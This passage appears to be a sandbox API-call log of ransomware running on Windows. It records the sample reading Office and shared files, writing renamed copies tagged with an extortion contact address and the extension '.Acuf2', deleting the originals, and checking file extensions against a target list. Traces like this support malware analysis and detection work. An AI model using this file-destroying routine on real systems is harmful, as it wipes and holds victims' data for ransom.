	[0039.922] WriteFile (in: hFile=0x160, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0039.922] SetEndOfFile (hFile=0x160) returned 1
	[0039.922] CloseHandle (hObject=0x160) returned 1
	[0039.923] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.923] SetEndOfFile (hFile=0x168) returned 1
	[0039.924] CloseHandle (hObject=0x168) returned 1
	[0039.924] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.925] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0039.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.925] lstrlenW (lpString=".doc") returned 4
	[0039.925] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.925] lstrlenW (lpString=".docx") returned 5
	[0039.925] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.925] lstrlenW (lpString=".pdf") returned 4
	[0039.925] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.925] lstrlenW (lpString=".xls") returned 4
	[0039.925] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.925] lstrlenW (lpString=".xlsx") returned 5
	[0039.925] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.925] lstrlenW (lpString=".ppt") returned 4
	[0039.925] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.925] lstrlenW (lpString=".zip") returned 4
	[0039.925] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.925] lstrlenW (lpString=".rar") returned 4
	[0039.925] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.925] lstrlenW (lpString=".bz2") returned 4
	[0039.925] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.925] lstrlenW (lpString=".7z") returned 3
	[0039.925] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.925] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.925] lstrlenW (lpString=".dbf") returned 4
	[0039.925] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.926] lstrlenW (lpString=".1cd") returned 4
	[0039.926] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.926] lstrlenW (lpString=".jpg") returned 4
	[0039.926] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.926] lstrlenW (lpString=".doc") returned 4
	[0039.926] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString=".docx") returned 5
	[0039.926] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0039.926] lstrlenW (lpString=".pdf") returned 4
	[0039.926] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString=".xls") returned 4
	[0039.926] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString=".xlsx") returned 5
	[0039.926] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0039.926] lstrlenW (lpString=".ppt") returned 4
	[0039.926] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.926] lstrlenW (lpString=".zip") returned 4
	[0039.926] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0039.926] lstrlenW (lpString=".rar") returned 4
	[0039.926] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString=".bz2") returned 4
	[0039.926] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0039.926] lstrlenW (lpString=".7z") returned 3
	[0039.926] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0039.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.926] lstrlenW (lpString=".dbf") returned 4
	[0039.927] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0039.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.927] lstrlenW (lpString=".1cd") returned 4
	[0039.927] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0039.927] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0039.927] lstrlenW (lpString=".jpg") returned 4
	[0039.927] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0039.927] lstrcmpiW (lpString1=".EPS", lpString2=".Acuf2") returned 1
	[0039.927] lstrlenW (lpString="MS.EPS") returned 6
	[0039.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.188] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=15067) returned 1
	[0040.188] CloseHandle (hObject=0x190) returned 1
	[0040.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20
	[0040.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0040.188] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.188] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0040.189] GetLastError () returned 0x0
	[0040.189] ReadFile (in: hFile=0x190, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x3adb, lpOverlapped=0x0) returned 1
	[0040.193] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x3ae0, lpOverlapped=0x0) returned 1
	[0040.194] ReadFile (in: hFile=0x190, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0040.194] WriteFile (in: hFile=0x17c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0040.194] SetEndOfFile (hFile=0x17c) returned 1
	[0040.194] CloseHandle (hObject=0x17c) returned 1
	[0040.195] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0040.195] SetEndOfFile (hFile=0x190) returned 1
	[0040.196] CloseHandle (hObject=0x190) returned 1
	[0040.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0040.196] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1
	[0040.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.196] lstrlenW (lpString=".doc") returned 4
	[0040.196] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1
	[0040.196] lstrlenW (lpString=".docx") returned 5
	[0040.196] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1
	[0040.196] lstrlenW (lpString=".pdf") returned 4
	[0040.196] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1
	[0040.196] lstrlenW (lpString=".xls") returned 4
	[0040.196] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1
	[0040.196] lstrlenW (lpString=".xlsx") returned 5
	[0040.196] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1
	[0040.196] lstrlenW (lpString=".ppt") returned 4
	[0040.196] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1
	[0040.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.197] lstrlenW (lpString=".zip") returned 4
	[0040.197] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1
	[0040.197] lstrlenW (lpString=".rar") returned 4
	[0040.197] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1
	[0040.197] lstrlenW (lpString=".bz2") returned 4
	[0040.197] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1
	[0040.197] lstrlenW (lpString=".7z") returned 3
	[0040.197] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1
	[0040.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.197] lstrlenW (lpString=".dbf") returned 4
	[0040.197] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1
	[0040.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.197] lstrlenW (lpString=".1cd") returned 4
	[0040.197] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1
	[0040.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.197] lstrlenW (lpString=".jpg") returned 4
	[0040.197] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1
	[0040.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.197] lstrlenW (lpString=".doc") returned 4
	[0040.197] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1
	[0040.197] lstrlenW (lpString=".docx") returned 5
	[0040.197] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1
	[0040.197] lstrlenW (lpString=".pdf") returned 4
	[0040.197] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1
	[0040.197] lstrlenW (lpString=".xls") returned 4
	[0040.197] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1
	[0040.197] lstrlenW (lpString=".xlsx") returned 5
	[0040.197] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1
	[0040.197] lstrlenW (lpString=".ppt") returned 4
	[0040.197] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1
	[0040.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.198] lstrlenW (lpString=".zip") returned 4
	[0040.198] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1
	[0040.198] lstrlenW (lpString=".rar") returned 4
	[0040.198] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1
	[0040.198] lstrlenW (lpString=".bz2") returned 4
	[0040.198] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1
	[0040.198] lstrlenW (lpString=".7z") returned 3
	[0040.198] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1
	[0040.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.198] lstrlenW (lpString=".dbf") returned 4
	[0040.198] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1
	[0040.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.198] lstrlenW (lpString=".1cd") returned 4
	[0040.198] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1
	[0040.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61
	[0040.198] lstrlenW (lpString=".jpg") returned 4
	[0040.198] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1
	[0040.198] lstrcmpiW (lpString1=".avi", lpString2=".Acuf2") returned 1
	[0040.198] lstrlenW (lpString="boxed-split.avi") returned 15
	[0040.198] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0040.771] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=62976) returned 1
	[0040.771] CloseHandle (hObject=0x178) returned 1
	[0040.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0040.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0040.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0040.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.771] lstrlenW (lpString=".doc") returned 4
	[0040.771] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.771] lstrlenW (lpString=".docx") returned 5
	[0040.771] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0040.771] lstrlenW (lpString=".pdf") returned 4
	[0040.771] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.771] lstrlenW (lpString=".xls") returned 4
	[0040.771] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.771] lstrlenW (lpString=".xlsx") returned 5
	[0040.771] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0040.771] lstrlenW (lpString=".ppt") returned 4
	[0040.771] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.771] lstrlenW (lpString=".zip") returned 4
	[0040.771] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.771] lstrlenW (lpString=".rar") returned 4
	[0040.771] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.771] lstrlenW (lpString=".bz2") returned 4
	[0040.772] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString=".7z") returned 3
	[0040.772] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.772] lstrlenW (lpString=".dbf") returned 4
	[0040.772] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.772] lstrlenW (lpString=".1cd") returned 4
	[0040.772] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.772] lstrlenW (lpString=".jpg") returned 4
	[0040.772] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.772] lstrlenW (lpString=".doc") returned 4
	[0040.772] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString=".docx") returned 5
	[0040.772] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0040.772] lstrlenW (lpString=".pdf") returned 4
	[0040.772] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString=".xls") returned 4
	[0040.772] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString=".xlsx") returned 5
	[0040.772] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0040.772] lstrlenW (lpString=".ppt") returned 4
	[0040.772] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.772] lstrlenW (lpString=".zip") returned 4
	[0040.772] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0040.772] lstrlenW (lpString=".rar") returned 4
	[0040.773] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0040.773] lstrlenW (lpString=".bz2") returned 4
	[0040.773] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0040.773] lstrlenW (lpString=".7z") returned 3
	[0040.773] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0040.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.773] lstrlenW (lpString=".dbf") returned 4
	[0040.773] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0040.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.773] lstrlenW (lpString=".1cd") returned 4
	[0040.773] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0040.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0040.773] lstrlenW (lpString=".jpg") returned 4
	[0040.773] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0040.773] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0040.773] lstrlenW (lpString="auxbase.xml") returned 11
	[0040.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c
	[0041.126] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1434) returned 1
	[0041.126] CloseHandle (hObject=0x19c) returned 1
	[0041.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20
	[0041.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0041.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.127] lstrlenW (lpString=".doc") returned 4
	[0041.127] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.127] lstrlenW (lpString=".docx") returned 5
	[0041.127] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.127] lstrlenW (lpString=".pdf") returned 4
	[0041.127] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.127] lstrlenW (lpString=".xls") returned 4
	[0041.127] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.127] lstrlenW (lpString=".xlsx") returned 5
	[0041.127] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.127] lstrlenW (lpString=".ppt") returned 4
	[0041.127] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.127] lstrlenW (lpString=".zip") returned 4
	[0041.127] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.128] lstrlenW (lpString=".rar") returned 4
	[0041.128] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.128] lstrlenW (lpString=".bz2") returned 4
	[0041.128] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.128] lstrlenW (lpString=".7z") returned 3
	[0041.128] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.128] lstrlenW (lpString=".dbf") returned 4
	[0041.128] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.128] lstrlenW (lpString=".1cd") returned 4
	[0041.128] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.128] lstrlenW (lpString=".jpg") returned 4
	[0041.128] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.128] lstrlenW (lpString=".doc") returned 4
	[0041.128] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.128] lstrlenW (lpString=".docx") returned 5
	[0041.128] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0041.128] lstrlenW (lpString=".pdf") returned 4
	[0041.128] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.128] lstrlenW (lpString=".xls") returned 4
	[0041.129] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.129] lstrlenW (lpString=".xlsx") returned 5
	[0041.129] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0041.129] lstrlenW (lpString=".ppt") returned 4
	[0041.129] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.129] lstrlenW (lpString=".zip") returned 4
	[0041.129] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.129] lstrlenW (lpString=".rar") returned 4
	[0041.129] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.129] lstrlenW (lpString=".bz2") returned 4
	[0041.129] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.129] lstrlenW (lpString=".7z") returned 3
	[0041.129] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.129] lstrlenW (lpString=".dbf") returned 4
	[0041.129] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0041.129] lstrlenW (lpString=".1cd") returned 4
